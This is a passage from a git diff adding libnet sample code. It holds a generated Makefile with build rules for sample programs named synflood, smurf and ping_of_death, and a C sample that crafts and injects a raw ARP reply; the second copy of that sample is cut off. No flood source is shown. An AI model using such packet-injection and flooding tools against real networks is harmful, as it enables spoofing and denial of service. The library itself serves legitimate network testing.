+am_synflood6_OBJECTS = synflood6.$(OBJEXT)
+synflood6_OBJECTS = $(am_synflood6_OBJECTS)
+synflood6_LDADD = $(LDADD)
+synflood6_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+synflood6_LDFLAGS =
+am_synflood6_frag_OBJECTS = synflood6_frag.$(OBJEXT)
+synflood6_frag_OBJECTS = $(am_synflood6_frag_OBJECTS)
+synflood6_frag_LDADD = $(LDADD)
+synflood6_frag_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+synflood6_frag_LDFLAGS =
+am_tcp1_OBJECTS = tcp1.$(OBJEXT)
+tcp1_OBJECTS = $(am_tcp1_OBJECTS)
+tcp1_LDADD = $(LDADD)
+tcp1_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+tcp1_LDFLAGS =
+am_tcp2_OBJECTS = tcp2.$(OBJEXT)
+tcp2_OBJECTS = $(am_tcp2_OBJECTS)
+tcp2_LDADD = $(LDADD)
+tcp2_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+tcp2_LDFLAGS =
+am_tftp_OBJECTS = tftp.$(OBJEXT)
+tftp_OBJECTS = $(am_tftp_OBJECTS)
+tftp_LDADD = $(LDADD)
+tftp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+tftp_LDFLAGS =
+am_tring_tcp1_OBJECTS = tring_tcp1.$(OBJEXT)
+tring_tcp1_OBJECTS = $(am_tring_tcp1_OBJECTS)
+tring_tcp1_LDADD = $(LDADD)
+tring_tcp1_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+tring_tcp1_LDFLAGS =
+am_tring_tcp2_OBJECTS = tring_tcp2.$(OBJEXT)
+tring_tcp2_OBJECTS = $(am_tring_tcp2_OBJECTS)
+tring_tcp2_LDADD = $(LDADD)
+tring_tcp2_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+tring_tcp2_LDFLAGS =
+am_udp1_OBJECTS = udp1.$(OBJEXT)
+udp1_OBJECTS = $(am_udp1_OBJECTS)
+udp1_LDADD = $(LDADD)
+udp1_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+udp1_LDFLAGS =
+am_udp2_OBJECTS = udp2.$(OBJEXT)
+udp2_OBJECTS = $(am_udp2_OBJECTS)
+udp2_LDADD = $(LDADD)
+udp2_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+udp2_LDFLAGS =
+
+DEFS = @DEFS@
+DEFAULT_INCLUDES = -I. -I$(srcdir) -I$(top_builddir)/include
+CPPFLAGS = @CPPFLAGS@
+LDFLAGS = @LDFLAGS@
+LIBS = @LIBS@
+depcomp =
+am__depfiles_maybe =
+COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
+ $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
+CCLD = $(CC)
+LINK = $(CCLD) $(AM_CFLAGS) $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o $@
+CFLAGS = @CFLAGS@
+DIST_SOURCES = $(arp_SOURCES) $(bgp4_hdr_SOURCES) \
+ $(bgp4_notification_SOURCES) $(bgp4_open_SOURCES) \
+ $(bgp4_update_SOURCES) $(cdp_SOURCES) $(dhcp_discover_SOURCES) \
+ $(dns_SOURCES) $(dot1x_SOURCES) $(fddi_tcp1_SOURCES) \
+ $(fddi_tcp2_SOURCES) $(get_addr_SOURCES) $(gre_SOURCES) \
+ $(icmp6_echoreq_SOURCES) $(icmp_echo_cq_SOURCES) \
+ $(icmp_redirect_SOURCES) $(icmp_timeexceed_SOURCES) \
+ $(icmp_timestamp_SOURCES) $(icmp_unreach_SOURCES) \
+ $(ieee_SOURCES) $(ip_link_SOURCES) $(ip_raw_SOURCES) \
+ $(isl_SOURCES) $(mpls_SOURCES) $(ntp_SOURCES) \
+ $(ospf_hello_SOURCES) $(ospf_lsa_SOURCES) \
+ $(ping_of_death_SOURCES) $(rpc_tcp_SOURCES) $(rpc_udp_SOURCES) \
+ $(sebek_SOURCES) $(smurf_SOURCES) $(stp_SOURCES) \
+ $(synflood_SOURCES) $(synflood6_SOURCES) \
+ $(synflood6_frag_SOURCES) $(tcp1_SOURCES) $(tcp2_SOURCES) \
+ $(tftp_SOURCES) $(tring_tcp1_SOURCES) $(tring_tcp2_SOURCES) \
+ $(udp1_SOURCES) $(udp2_SOURCES)
+DIST_COMMON = Makefile.am Makefile.in
+SOURCES = $(arp_SOURCES) $(bgp4_hdr_SOURCES) $(bgp4_notification_SOURCES) $(bgp4_open_SOURCES) $(bgp4_update_SOURCES) $(cdp_SOURCES) $(dhcp_discover_SOURCES) $(dns_SOURCES) $(dot1x_SOURCES) $(fddi_tcp1_SOURCES) $(fddi_tcp2_SOURCES) $(get_addr_SOURCES) $(gre_SOURCES) $(icmp6_echoreq_SOURCES) $(icmp_echo_cq_SOURCES) $(icmp_redirect_SOURCES) $(icmp_timeexceed_SOURCES) $(icmp_timestamp_SOURCES) $(icmp_unreach_SOURCES) $(ieee_SOURCES) $(ip_link_SOURCES) $(ip_raw_SOURCES) $(isl_SOURCES) $(mpls_SOURCES) $(ntp_SOURCES) $(ospf_hello_SOURCES) $(ospf_lsa_SOURCES) $(ping_of_death_SOURCES) $(rpc_tcp_SOURCES) $(rpc_udp_SOURCES) $(sebek_SOURCES) $(smurf_SOURCES) $(stp_SOURCES) $(synflood_SOURCES) $(synflood6_SOURCES) $(synflood6_frag_SOURCES) $(tcp1_SOURCES) $(tcp2_SOURCES) $(tftp_SOURCES) $(tring_tcp1_SOURCES) $(tring_tcp2_SOURCES) $(udp1_SOURCES) $(udp2_SOURCES)
+
+all: all-am
+
+.SUFFIXES:
+.SUFFIXES: .c .o .obj
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ Makefile.am $(top_srcdir)/Makefile.am.common $(top_srcdir)/configure.in $(ACLOCAL_M4)
+ cd $(top_srcdir) && \
+ $(AUTOMAKE) --foreign sample/Makefile
+Makefile: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.in $(top_builddir)/config.status
+ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)
+
+clean-noinstPROGRAMS:
+ -test -z "$(noinst_PROGRAMS)" || rm -f $(noinst_PROGRAMS)
+arp$(EXEEXT): $(arp_OBJECTS) $(arp_DEPENDENCIES)
+ @rm -f arp$(EXEEXT)
+ $(LINK) $(arp_LDFLAGS) $(arp_OBJECTS) $(arp_LDADD) $(LIBS)
+bgp4_hdr$(EXEEXT): $(bgp4_hdr_OBJECTS) $(bgp4_hdr_DEPENDENCIES)
+ @rm -f bgp4_hdr$(EXEEXT)
+ $(LINK) $(bgp4_hdr_LDFLAGS) $(bgp4_hdr_OBJECTS) $(bgp4_hdr_LDADD) $(LIBS)
+bgp4_notification$(EXEEXT): $(bgp4_notification_OBJECTS) $(bgp4_notification_DEPENDENCIES)
+ @rm -f bgp4_notification$(EXEEXT)
+ $(LINK) $(bgp4_notification_LDFLAGS) $(bgp4_notification_OBJECTS) $(bgp4_notification_LDADD) $(LIBS)
+bgp4_open$(EXEEXT): $(bgp4_open_OBJECTS) $(bgp4_open_DEPENDENCIES)
+ @rm -f bgp4_open$(EXEEXT)
+ $(LINK) $(bgp4_open_LDFLAGS) $(bgp4_open_OBJECTS) $(bgp4_open_LDADD) $(LIBS)
+bgp4_update$(EXEEXT): $(bgp4_update_OBJECTS) $(bgp4_update_DEPENDENCIES)
+ @rm -f bgp4_update$(EXEEXT)
+ $(LINK) $(bgp4_update_LDFLAGS) $(bgp4_update_OBJECTS) $(bgp4_update_LDADD) $(LIBS)
+cdp$(EXEEXT): $(cdp_OBJECTS) $(cdp_DEPENDENCIES)
+ @rm -f cdp$(EXEEXT)
+ $(LINK) $(cdp_LDFLAGS) $(cdp_OBJECTS) $(cdp_LDADD) $(LIBS)
+dhcp_discover$(EXEEXT): $(dhcp_discover_OBJECTS) $(dhcp_discover_DEPENDENCIES)
+ @rm -f dhcp_discover$(EXEEXT)
+ $(LINK) $(dhcp_discover_LDFLAGS) $(dhcp_discover_OBJECTS) $(dhcp_discover_LDADD) $(LIBS)
+dns$(EXEEXT): $(dns_OBJECTS) $(dns_DEPENDENCIES)
+ @rm -f dns$(EXEEXT)
+ $(LINK) $(dns_LDFLAGS) $(dns_OBJECTS) $(dns_LDADD) $(LIBS)
+dot1x$(EXEEXT): $(dot1x_OBJECTS) $(dot1x_DEPENDENCIES)
+ @rm -f dot1x$(EXEEXT)
+ $(LINK) $(dot1x_LDFLAGS) $(dot1x_OBJECTS) $(dot1x_LDADD) $(LIBS)
+fddi_tcp1$(EXEEXT): $(fddi_tcp1_OBJECTS) $(fddi_tcp1_DEPENDENCIES)
+ @rm -f fddi_tcp1$(EXEEXT)
+ $(LINK) $(fddi_tcp1_LDFLAGS) $(fddi_tcp1_OBJECTS) $(fddi_tcp1_LDADD) $(LIBS)
+fddi_tcp2$(EXEEXT): $(fddi_tcp2_OBJECTS) $(fddi_tcp2_DEPENDENCIES)
+ @rm -f fddi_tcp2$(EXEEXT)
+ $(LINK) $(fddi_tcp2_LDFLAGS) $(fddi_tcp2_OBJECTS) $(fddi_tcp2_LDADD) $(LIBS)
+get_addr$(EXEEXT): $(get_addr_OBJECTS) $(get_addr_DEPENDENCIES)
+ @rm -f get_addr$(EXEEXT)
+ $(LINK) $(get_addr_LDFLAGS) $(get_addr_OBJECTS) $(get_addr_LDADD) $(LIBS)
+gre$(EXEEXT): $(gre_OBJECTS) $(gre_DEPENDENCIES)
+ @rm -f gre$(EXEEXT)
+ $(LINK) $(gre_LDFLAGS) $(gre_OBJECTS) $(gre_LDADD) $(LIBS)
+icmp6_echoreq$(EXEEXT): $(icmp6_echoreq_OBJECTS) $(icmp6_echoreq_DEPENDENCIES)
+ @rm -f icmp6_echoreq$(EXEEXT)
+ $(LINK) $(icmp6_echoreq_LDFLAGS) $(icmp6_echoreq_OBJECTS) $(icmp6_echoreq_LDADD) $(LIBS)
+icmp_echo_cq$(EXEEXT): $(icmp_echo_cq_OBJECTS) $(icmp_echo_cq_DEPENDENCIES)
+ @rm -f icmp_echo_cq$(EXEEXT)
+ $(LINK) $(icmp_echo_cq_LDFLAGS) $(icmp_echo_cq_OBJECTS) $(icmp_echo_cq_LDADD) $(LIBS)
+icmp_redirect$(EXEEXT): $(icmp_redirect_OBJECTS) $(icmp_redirect_DEPENDENCIES)
+ @rm -f icmp_redirect$(EXEEXT)
+ $(LINK) $(icmp_redirect_LDFLAGS) $(icmp_redirect_OBJECTS) $(icmp_redirect_LDADD) $(LIBS)
+icmp_timeexceed$(EXEEXT): $(icmp_timeexceed_OBJECTS) $(icmp_timeexceed_DEPENDENCIES)
+ @rm -f icmp_timeexceed$(EXEEXT)
+ $(LINK) $(icmp_timeexceed_LDFLAGS) $(icmp_timeexceed_OBJECTS) $(icmp_timeexceed_LDADD) $(LIBS)
+icmp_timestamp$(EXEEXT): $(icmp_timestamp_OBJECTS) $(icmp_timestamp_DEPENDENCIES)
+ @rm -f icmp_timestamp$(EXEEXT)
+ $(LINK) $(icmp_timestamp_LDFLAGS) $(icmp_timestamp_OBJECTS) $(icmp_timestamp_LDADD) $(LIBS)
+icmp_unreach$(EXEEXT): $(icmp_unreach_OBJECTS) $(icmp_unreach_DEPENDENCIES)
+ @rm -f icmp_unreach$(EXEEXT)
+ $(LINK) $(icmp_unreach_LDFLAGS) $(icmp_unreach_OBJECTS) $(icmp_unreach_LDADD) $(LIBS)
+ieee$(EXEEXT): $(ieee_OBJECTS) $(ieee_DEPENDENCIES)
+ @rm -f ieee$(EXEEXT)
+ $(LINK) $(ieee_LDFLAGS) $(ieee_OBJECTS) $(ieee_LDADD) $(LIBS)
+ip_link$(EXEEXT): $(ip_link_OBJECTS) $(ip_link_DEPENDENCIES)
+ @rm -f ip_link$(EXEEXT)
+ $(LINK) $(ip_link_LDFLAGS) $(ip_link_OBJECTS) $(ip_link_LDADD) $(LIBS)
+ip_raw$(EXEEXT): $(ip_raw_OBJECTS) $(ip_raw_DEPENDENCIES)
+ @rm -f ip_raw$(EXEEXT)
+ $(LINK) $(ip_raw_LDFLAGS) $(ip_raw_OBJECTS) $(ip_raw_LDADD) $(LIBS)
+isl$(EXEEXT): $(isl_OBJECTS) $(isl_DEPENDENCIES)
+ @rm -f isl$(EXEEXT)
+ $(LINK) $(isl_LDFLAGS) $(isl_OBJECTS) $(isl_LDADD) $(LIBS)
+mpls$(EXEEXT): $(mpls_OBJECTS) $(mpls_DEPENDENCIES)
+ @rm -f mpls$(EXEEXT)
+ $(LINK) $(mpls_LDFLAGS) $(mpls_OBJECTS) $(mpls_LDADD) $(LIBS)
+ntp$(EXEEXT): $(ntp_OBJECTS) $(ntp_DEPENDENCIES)
+ @rm -f ntp$(EXEEXT)
+ $(LINK) $(ntp_LDFLAGS) $(ntp_OBJECTS) $(ntp_LDADD) $(LIBS)
+ospf_hello$(EXEEXT): $(ospf_hello_OBJECTS) $(ospf_hello_DEPENDENCIES)
+ @rm -f ospf_hello$(EXEEXT)
+ $(LINK) $(ospf_hello_LDFLAGS) $(ospf_hello_OBJECTS) $(ospf_hello_LDADD) $(LIBS)
+ospf_lsa$(EXEEXT): $(ospf_lsa_OBJECTS) $(ospf_lsa_DEPENDENCIES)
+ @rm -f ospf_lsa$(EXEEXT)
+ $(LINK) $(ospf_lsa_LDFLAGS) $(ospf_lsa_OBJECTS) $(ospf_lsa_LDADD) $(LIBS)
+ping_of_death$(EXEEXT): $(ping_of_death_OBJECTS) $(ping_of_death_DEPENDENCIES)
+ @rm -f ping_of_death$(EXEEXT)
+ $(LINK) $(ping_of_death_LDFLAGS) $(ping_of_death_OBJECTS) $(ping_of_death_LDADD) $(LIBS)
+rpc_tcp$(EXEEXT): $(rpc_tcp_OBJECTS) $(rpc_tcp_DEPENDENCIES)
+ @rm -f rpc_tcp$(EXEEXT)
+ $(LINK) $(rpc_tcp_LDFLAGS) $(rpc_tcp_OBJECTS) $(rpc_tcp_LDADD) $(LIBS)
+rpc_udp$(EXEEXT): $(rpc_udp_OBJECTS) $(rpc_udp_DEPENDENCIES)
+ @rm -f rpc_udp$(EXEEXT)
+ $(LINK) $(rpc_udp_LDFLAGS) $(rpc_udp_OBJECTS) $(rpc_udp_LDADD) $(LIBS)
+sebek$(EXEEXT): $(sebek_OBJECTS) $(sebek_DEPENDENCIES)
+ @rm -f sebek$(EXEEXT)
+ $(LINK) $(sebek_LDFLAGS) $(sebek_OBJECTS) $(sebek_LDADD) $(LIBS)
+smurf$(EXEEXT): $(smurf_OBJECTS) $(smurf_DEPENDENCIES)
+ @rm -f smurf$(EXEEXT)
+ $(LINK) $(smurf_LDFLAGS) $(smurf_OBJECTS) $(smurf_LDADD) $(LIBS)
+stp$(EXEEXT): $(stp_OBJECTS) $(stp_DEPENDENCIES)
+ @rm -f stp$(EXEEXT)
+ $(LINK) $(stp_LDFLAGS) $(stp_OBJECTS) $(stp_LDADD) $(LIBS)
+synflood$(EXEEXT): $(synflood_OBJECTS) $(synflood_DEPENDENCIES)
+ @rm -f synflood$(EXEEXT)
+ $(LINK) $(synflood_LDFLAGS) $(synflood_OBJECTS) $(synflood_LDADD) $(LIBS)
+synflood6$(EXEEXT): $(synflood6_OBJECTS) $(synflood6_DEPENDENCIES)
+ @rm -f synflood6$(EXEEXT)
+ $(LINK) $(synflood6_LDFLAGS) $(synflood6_OBJECTS) $(synflood6_LDADD) $(LIBS)
+synflood6_frag$(EXEEXT): $(synflood6_frag_OBJECTS) $(synflood6_frag_DEPENDENCIES)
+ @rm -f synflood6_frag$(EXEEXT)
+ $(LINK) $(synflood6_frag_LDFLAGS) $(synflood6_frag_OBJECTS) $(synflood6_frag_LDADD) $(LIBS)
+tcp1$(EXEEXT): $(tcp1_OBJECTS) $(tcp1_DEPENDENCIES)
+ @rm -f tcp1$(EXEEXT)
+ $(LINK) $(tcp1_LDFLAGS) $(tcp1_OBJECTS) $(tcp1_LDADD) $(LIBS)
+tcp2$(EXEEXT): $(tcp2_OBJECTS) $(tcp2_DEPENDENCIES)
+ @rm -f tcp2$(EXEEXT)
+ $(LINK) $(tcp2_LDFLAGS) $(tcp2_OBJECTS) $(tcp2_LDADD) $(LIBS)
+tftp$(EXEEXT): $(tftp_OBJECTS) $(tftp_DEPENDENCIES)
+ @rm -f tftp$(EXEEXT)
+ $(LINK) $(tftp_LDFLAGS) $(tftp_OBJECTS) $(tftp_LDADD) $(LIBS)
+tring_tcp1$(EXEEXT): $(tring_tcp1_OBJECTS) $(tring_tcp1_DEPENDENCIES)
+ @rm -f tring_tcp1$(EXEEXT)
+ $(LINK) $(tring_tcp1_LDFLAGS) $(tring_tcp1_OBJECTS) $(tring_tcp1_LDADD) $(LIBS)
+tring_tcp2$(EXEEXT): $(tring_tcp2_OBJECTS) $(tring_tcp2_DEPENDENCIES)
+ @rm -f tring_tcp2$(EXEEXT)
+ $(LINK) $(tring_tcp2_LDFLAGS) $(tring_tcp2_OBJECTS) $(tring_tcp2_LDADD) $(LIBS)
+udp1$(EXEEXT): $(udp1_OBJECTS) $(udp1_DEPENDENCIES)
+ @rm -f udp1$(EXEEXT)
+ $(LINK) $(udp1_LDFLAGS) $(udp1_OBJECTS) $(udp1_LDADD) $(LIBS)
+udp2$(EXEEXT): $(udp2_OBJECTS) $(udp2_DEPENDENCIES)
+ @rm -f udp2$(EXEEXT)
+ $(LINK) $(udp2_LDFLAGS) $(udp2_OBJECTS) $(udp2_LDADD) $(LIBS)
+
+mostlyclean-compile:
+ -rm -f *.$(OBJEXT) core *.core
+
+distclean-compile:
+ -rm -f *.tab.c
+
+.c.o:
+ $(COMPILE) -c `test -f '$<' || echo '$(srcdir)/'`$<
+
+.c.obj:
+ $(COMPILE) -c `cygpath -w $<`
+uninstall-info-am:
+
+ETAGS = etags
+ETAGSFLAGS =
+
+tags: TAGS
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+ unique=`for i in $$list; do \
+ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+ done | \
+ $(AWK) ' { files[$$0] = 1; } \
+ END { for (i in files) print i; }'`; \
+ mkid -fID $$unique
+
+TAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \
+ $(TAGS_FILES) $(LISP)
+ tags=; \
+ here=`pwd`; \
+ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+ unique=`for i in $$list; do \
+ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+ done | \
+ $(AWK) ' { files[$$0] = 1; } \
+ END { for (i in files) print i; }'`; \
+ test -z "$(ETAGS_ARGS)$$tags$$unique" \
+ || $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+ $$tags $$unique
+
+GTAGS:
+ here=`$(am__cd) $(top_builddir) && pwd` \
+ && cd $(top_srcdir) \
+ && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+ -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+
+top_distdir = ..
+distdir = $(top_distdir)/$(PACKAGE)-$(VERSION)
+
+distdir: $(DISTFILES)
+ @list='$(DISTFILES)'; for file in $$list; do \
+ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+ dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+ if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+ dir="/$$dir"; \
+ $(mkinstalldirs) "$(distdir)$$dir"; \
+ else \
+ dir=''; \
+ fi; \
+ if test -d $$d/$$file; then \
+ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+ cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+ fi; \
+ cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+ else \
+ test -f $(distdir)/$$file \
+ || cp -p $$d/$$file $(distdir)/$$file \
+ || exit 1; \
+ fi; \
+ done
+check-am: all-am
+check: check-am
+all-am: Makefile $(PROGRAMS)
+
+installdirs:
+
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+ @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+ INSTALL_STRIP_FLAG=-s \
+ `test -z '$(STRIP)' || \
+ echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+ -rm -f Makefile $(CONFIG_CLEAN_FILES)
+ -test -z "$(DISTCLEANFILES)" || rm -f $(DISTCLEANFILES)
+
+maintainer-clean-generic:
+ @echo "This command is intended for maintainers to use"
+ @echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-noinstPROGRAMS mostlyclean-am
+
+distclean: distclean-am
+
+distclean-am: clean-am distclean-compile distclean-generic \
+ distclean-tags
+
+dvi: dvi-am
+
+dvi-am:
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-compile mostlyclean-generic
+
+uninstall-am: uninstall-info-am
+
+.PHONY: GTAGS all all-am check check-am clean clean-generic \
+ clean-noinstPROGRAMS distclean distclean-compile \
+ distclean-generic distclean-tags distdir dvi dvi-am info \
+ info-am install install-am install-data install-data-am \
+ install-exec install-exec-am install-info install-info-am \
+ install-man install-strip installcheck installcheck-am \
+ installdirs maintainer-clean maintainer-clean-generic \
+ mostlyclean mostlyclean-compile mostlyclean-generic tags \
+ uninstall uninstall-am uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:
diff --git a/libnet/sample/arp-new.c b/libnet/sample/arp-new.c
new file mode 100644
index 0000000..24027db
--- /dev/null
+++ b/libnet/sample/arp-new.c
@@ -0,0 +1,144 @@
+/*
+ * $Id: arp.c,v 1.5 2004/01/28 19:45:00 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ARP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#if ((_WIN32) && !(__CYGWIN__))
+#include "../include/win32/config.h"
+#else
+#include "../include/config.h"
+#endif
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_int32_t i;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *device = NULL;
+ u_int8_t *packet;
+ u_int32_t packet_s;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ARP[link -- autobuilding ethernet]\n");
+
+ if (argc > 1)
+ {
+ device = argv[1];
+ }
+
+ l = libnet_init(
+ LIBNET_LINK_ADV, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "%s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+ else
+
+ /*
+ * Build the packet, remmebering that order IS important. We must
+ * build the packet from lowest protocol type on up as it would
+ * appear on the wire. So for our ARP packet:
+ *
+ * -------------------------------------------
+ * | Ethernet | ARP |
+ * -------------------------------------------
+ * ^ ^
+ * |------------------ |
+ * libnet_build_ethernet()--| |
+ * |
+ * libnet_build_arp()-----------|
+ */
+
+ i = libnet_get_ipaddr4(l);
+
+ t = libnet_autobuild_arp(
+ ARPOP_REPLY, /* operation type */
+ enet_src, /* sender hardware addr */
+ (u_int8_t *)&i, /* sender protocol addr */
+ enet_dst, /* target hardware addr */
+ (u_int8_t *)&i, /* target protocol addr */
+ l); /* libnet context */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_ethernet(
+ enet_dst, /* ethernet destination */
+ ETHERTYPE_ARP, /* protocol type */
+ l); /* libnet handle */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+
+ if (libnet_adv_cull_packet(l, &packet, &packet_s) == -1)
+ {
+ fprintf(stderr, "%s", libnet_geterror(l));
+ }
+ else
+ {
+ fprintf(stderr, "packet size: %d\n", packet_s);
+ libnet_adv_free_packet(l, packet);
+ }
+
+ c = libnet_write(l);
+
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ARP packet from context \"%s\"; "
+ "check the wire.\n", c, libnet_cq_getlabel(l));
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+/* EOF */
diff --git a/libnet/sample/arp.c b/libnet/sample/arp.c
new file mode 100644
index 0000000..428b48d
--- /dev/null
+++ b/libnet/sample/arp.c
@@ -0,0 +1,151 @@
+/*
+ * $Id: arp.c,v 1.6 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ARP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#if ((_WIN32) && !(__CYGWIN__))
+#include "../include/win32/config.h"
+#else
+#include "../include/config.h"
+#endif
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_int32_t i;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *device = NULL;
+ u_int8_t *packet;
+ u_int32_t packet_s;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ARP[link -- autobuilding ethernet]\n");
+
+ if (argc > 1)
+ {
+ device = argv[1];
+ }
+
+ l = libnet_init(
+ LIBNET_LINK_ADV, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "%s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+ else
+
+ /*
+ * Build the packet, remmebering that order IS important. We must
+ * build the packet from lowest protocol type on up as it would
+ * appear on the wire. So for our ARP packet:
+ *
+ * -------------------------------------------
+ * | Ethernet | ARP |
+ * -------------------------------------------
